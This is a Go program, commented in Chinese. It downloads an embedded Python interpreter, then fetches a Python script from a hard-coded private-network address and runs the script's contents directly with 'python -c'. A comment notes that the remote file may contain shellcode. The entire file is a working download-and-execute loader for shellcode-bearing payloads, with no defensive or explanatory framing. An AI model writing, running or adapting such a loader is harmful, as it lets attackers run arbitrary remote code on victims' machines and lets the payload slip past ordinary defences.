package main

import (
	"archive/zip"
	"fmt"
	"io"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
)

// 全局变量配置 - 用户可以在这里修改远程Python文件的URL
const remotePythonURL = "http://192.168.182.135:8000/a.py"

func main() {
	// 下载Python嵌入版
	url := "https://www.python.org/ftp/python/3.13.7/python-3.13.7-embed-amd64.zip"
	zipFileName := "python-3.13.7-embed-amd64.zip"
	var err error
	
	// 检查文件是否已存在
	if _, err := os.Stat(zipFileName); os.IsNotExist(err) {
		fmt.Printf("开始下载: %s\n", url)
		err = downloadFile(zipFileName, url)
		if err != nil {
			fmt.Printf("下载失败: %v\n", err)
			return
		}
		fmt.Printf("下载完成: %s\n", zipFileName)
	} else {
		fmt.Printf("文件已存在，跳过下载: %s\n", zipFileName)
	}
	
	// 解压文件
	extractDir := "python-3.13.7-embed-amd64"
	fmt.Printf("开始解压到目录: %s\n", extractDir)
	
	err = extractZip(zipFileName, extractDir)
	if err != nil {
		fmt.Printf("解压失败: %v\n", err)
		return
	}
	
	fmt.Printf("解压完成: %s\n", extractDir)
	
	// 查找python.exe文件
	pythonExePath := filepath.Join(extractDir, "python.exe")
	
	// 检查文件是否存在
	if _, err := os.Stat(pythonExePath); os.IsNotExist(err) {
		// 如果直接路径不存在，尝试在解压目录中查找
		pythonExePath, err = findPythonExe(extractDir)
		if err != nil {
			fmt.Printf("找不到python.exe: %v\n", err)
			return
		}
	}
	
	// 获取绝对路径
	absPath, err := filepath.Abs(pythonExePath)
	if err != nil {
		fmt.Printf("获取绝对路径失败: %v\n", err)
		return
	}
	
	fmt.Printf("Python.exe的绝对路径: %s\n", absPath)
	
	// 首先测试一个简单的Python代码来确保基本功能正常
	simpleCode := "print('Python执行器正常工作！')"
	fmt.Printf("测试简单Python代码...\n")
	err = runPythonCode(absPath, simpleCode)
	if err != nil {
		fmt.Printf("简单代码测试失败: %v\n", err)
		return
	}
	
	// 然后尝试运行远程Python文件
	fmt.Printf("\n尝试运行远程Python文件...\n")
	fmt.Printf("远程URL: %s\n", remotePythonURL)
	err = runPythonFile(absPath, remotePythonURL)
	if err != nil {
		fmt.Printf("运行远程Python文件失败: %v\n", err)
		fmt.Printf("注意：远程文件可能包含shellcode，可能需要特定环境才能正常运行\n")
	}
}

// downloadFile 下载文件
func downloadFile(filepath string, url string) error {
	// 创建HTTP请求
	resp, err := http.Get(url)
	if err != nil {
		return err
	}
	defer resp.Body.Close()
	
	// 检查HTTP状态码
	if resp.StatusCode != http.StatusOK {
		return fmt.Errorf("HTTP错误: %s", resp.Status)
	}
	
	// 创建目标文件
	out, err := os.Create(filepath)
	if err != nil {
		return err
	}
	defer out.Close()
	
	// 复制数据
	_, err = io.Copy(out, resp.Body)
	return err
}

// extractZip 解压zip文件
func extractZip(zipFile string, dest string) error {
	// 打开zip文件
	r, err := zip.OpenReader(zipFile)
	if err != nil {
		return err
	}
	defer r.Close()
	
	// 创建目标目录
	os.MkdirAll(dest, 0755)
	
	// 遍历zip文件中的每个文件
	for _, f := range r.File {
		// 构建目标文件路径
		fpath := filepath.Join(dest, f.Name)
		
		// 检查是否为目录
		if f.FileInfo().IsDir() {
			os.MkdirAll(fpath, 0755)
			continue
		}
		
		// 创建目标文件
		if err = os.MkdirAll(filepath.Dir(fpath), 0755); err != nil {
			return err
		}
		
		outFile, err := os.OpenFile(fpath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())
		if err != nil {
			return err
		}
		
		rc, err := f.Open()
		if err != nil {
			outFile.Close()
			return err
		}
		
		_, err = io.Copy(outFile, rc)
		
		outFile.Close()
		rc.Close()
		
		if err != nil {
			return err
		}
	}
	
	return nil
}

// findPythonExe 在目录中查找python.exe文件
func findPythonExe(dir string) (string, error) {
	var pythonExePath string
	
	err := filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
		if err != nil {
			return err
		}
		
		if !info.IsDir() && filepath.Base(path) == "python.exe" {
			pythonExePath = path
			return filepath.SkipDir // 找到后停止搜索
		}
		
		return nil
	})
	
	if err != nil {
		return "", err
	}
	
	if pythonExePath == "" {
		return "", fmt.Errorf("在目录 %s 中找不到python.exe", dir)
	}
	
	return pythonExePath, nil
}

// runPythonCode 使用指定的python.exe运行Python代码
func runPythonCode(pythonExePath string, code string) error {
	// 构建命令参数
	cmdArgs := []string{"-c", code}
	
	// 执行命令
	cmd := exec.Command(pythonExePath, cmdArgs...)
	
	// 设置输出到标准输出
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	
	// 运行命令
	err := cmd.Run()
	if err != nil {
		return fmt.Errorf("执行Python命令失败: %v", err)
	}
	
	return nil
}

// runPythonFile 使用指定的python.exe运行Python文件
func runPythonFile(pythonExePath string, filePath string) error {
	var content []byte
	var err error
	
	// 判断是本地文件还是远程URL
	if strings.HasPrefix(filePath, "http://") || strings.HasPrefix(filePath, "https://") {
		// 从远程URL读取Python代码内容
		resp, err := http.Get(filePath)
		if err != nil {
			return fmt.Errorf("下载远程Python文件失败: %v", err)
		}
		defer resp.Body.Close()
		
		// 检查HTTP状态码
		if resp.StatusCode != http.StatusOK {
			return fmt.Errorf("HTTP错误: %s", resp.Status)
		}
		
		// 读取响应内容
		content, err = io.ReadAll(resp.Body)
		if err != nil {
			return fmt.Errorf("读取远程文件内容失败: %v", err)
		}
		
		fmt.Printf("成功从远程URL读取Python代码: %s\n", filePath)
	} else {
		// 从本地文件读取Python代码内容
		content, err = os.ReadFile(filePath)
		if err != nil {
			return fmt.Errorf("读取本地Python文件失败: %v", err)
		}
		
		fmt.Printf("成功从本地文件读取Python代码: %s\n", filePath)
	}
	
	// 将文件内容转换为单行代码
	// 移除换行符和多余空格，但保留必要的语法结构
	code := string(content)
	
	// 使用runPythonCode函数执行单行代码
	err = runPythonCode(pythonExePath, code)
	if err != nil {
		return fmt.Errorf("执行Python代码失败: %v", err)
	}
	
	return nil
}